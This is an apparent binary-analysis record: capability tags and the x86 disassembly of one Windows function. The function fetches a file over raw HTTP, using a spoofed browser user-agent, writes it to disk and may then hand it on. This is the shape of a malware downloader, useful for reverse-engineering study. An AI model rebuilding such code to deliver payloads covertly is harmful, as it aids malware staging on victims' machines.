Function at 0x40d2de
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
mov eax, 0x105c
call fcn.0041ce38
sub esp, eax
mov edx, dword [esp + 0x1060]
mov eax, dword [0x424464]
lea ecx, [eax + 1]
mov dword [0x424464], ecx
mov dword [edx + 0x614], eax
mov dword [esp + 0x1034], 0xffffffff
mov eax, dword [esp + 0x1060]
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040d1a4
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [esp + 0x1034], eax
mov byte [esp + 0x104b], 0
mov eax, dword [esp + 0x1060]
mov eax, dword [eax + 0x610]
mov edx, dword [esp + 0x1060]
lea ecx, [edx + 0x204]
lea edx, [esp + 0x1024]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00407c90
xor eax, 1
test al, al
je 0x40d39d
mov dword [esp + 0x104c], 1
jmp 0x40d6c4
mov eax, dword [esp + 0x1034]
mov dword [esp + 8], 0x10
lea edx, [esp + 0x1024]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x40d3d6
mov dword [esp + 0x104c], 2
jmp 0x40d6c4
mov eax, dword [esp + 0x1060]
lea edx, [eax + 0x204]
mov eax, dword [esp + 0x1060]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.GET__s_HTTP_1.1_r_nHost:__s__r_nUser_Agent:_Mozilla_4.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.8_r_nConnection:_close_r_n_r_n
mov dword [esp + 4], 0x1000
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 0x1044], eax
mov eax, dword [esp + 0x1034]
mov dword [esp + 0xc], 0
mov edx, dword [esp + 0x1044]
mov dword [esp + 8], edx
lea edx, [esp + 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, dword [esp + 0x1044]
je 0x40d45b
mov dword [esp + 0x104c], 2
jmp 0x40d6c4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.0041a59f
mov eax, dword [esp + 0x1034]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea edx, [esp + 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [esp + 0x1040], eax
cmp dword [esp + 0x1040], 0
jne 0x40d4c2
mov dword [esp + 0x104c], 5
jmp 0x40d6c4
cmp dword [esp + 0x1040], 0x1000
jne 0x40d4de
mov eax, dword [esp + 0x1040]
sub eax, 1
mov byte [esp + eax + 0x24], 0
lea eax, [esp + 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str.200_OK
mov dword [esp], 0
call fcn.00419b7e
cmp eax, 0xffffffff
jne 0x40d50f
mov dword [esp + 0x104c], 5
jmp 0x40d6c4
lea eax, [esp + 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._r_n_r_n
mov dword [esp], 0
call fcn.00419b7e
mov dword [esp + 0x103c], eax
cmp dword [esp + 0x103c], 0xffffffff
jne 0x40d54c
mov dword [esp + 0x104c], 5
jmp 0x40d6c4
mov eax, dword [esp + 0x103c]
add eax, 4
mov dword [esp + 0x103c], eax
mov eax, dword [esp + 0x1060]
add eax, 0x408
mov dword [esp + 4], 0x41ef45
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x1038], eax
cmp dword [esp + 0x1038], 0
je 0x40d6b9
mov eax, dword [esp + 0x103c]
mov edx, dword [esp + 0x1040]
mov ecx, edx
sub ecx, eax
lea edx, [esp + 0x24]
mov eax, dword [esp + 0x103c]
add edx, eax
mov eax, dword [esp + 0x1038]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], 1
mov dword [esp], edx
call sub.msvcrt.dll_fwrite
jmp 0x40d620
mov eax, dword [esp + 0x1038]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1040]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [esp + 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
cmp eax, dword [esp + 0x1040]
je 0x40d620
mov eax, dword [esp + 0x1038]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 0x104c], 4
jmp 0x40d6c4
mov eax, dword [esp + 0x1034]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea edx, [esp + 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [esp + 0x1040], eax
cmp dword [esp + 0x1040], 0
jne 0x40d5ce
mov eax, dword [esp + 0x1038]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [esp + 0x1060]
movzx eax, byte [eax + 0x60c]
test al, al
je 0x40d6a4
mov eax, dword [esp + 0x1060]
add eax, 0x408
mov dword [esp + 8], 1
mov dword [esp + 4], 0x41ef48
mov dword [esp], eax
call fcn.0040a8af
mov dword [esp + 0x104c], 6
mov byte [esp + 0x104b], 1
jmp 0x40d6c4
mov dword [esp + 0x104c], 3
mov eax, dword [esp + 0x1060]
mov edx, dword [esp + 0x104c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040d1a4
lea eax, [esp + 0x1060]
mov dword [esp], eax
call fcn.0040b4bf
lea eax, [esp + 0x1034]
mov dword [esp], eax
call fcn.00408d8a
movzx eax, byte [esp + 0x104b]
add esp, 0x105c
ret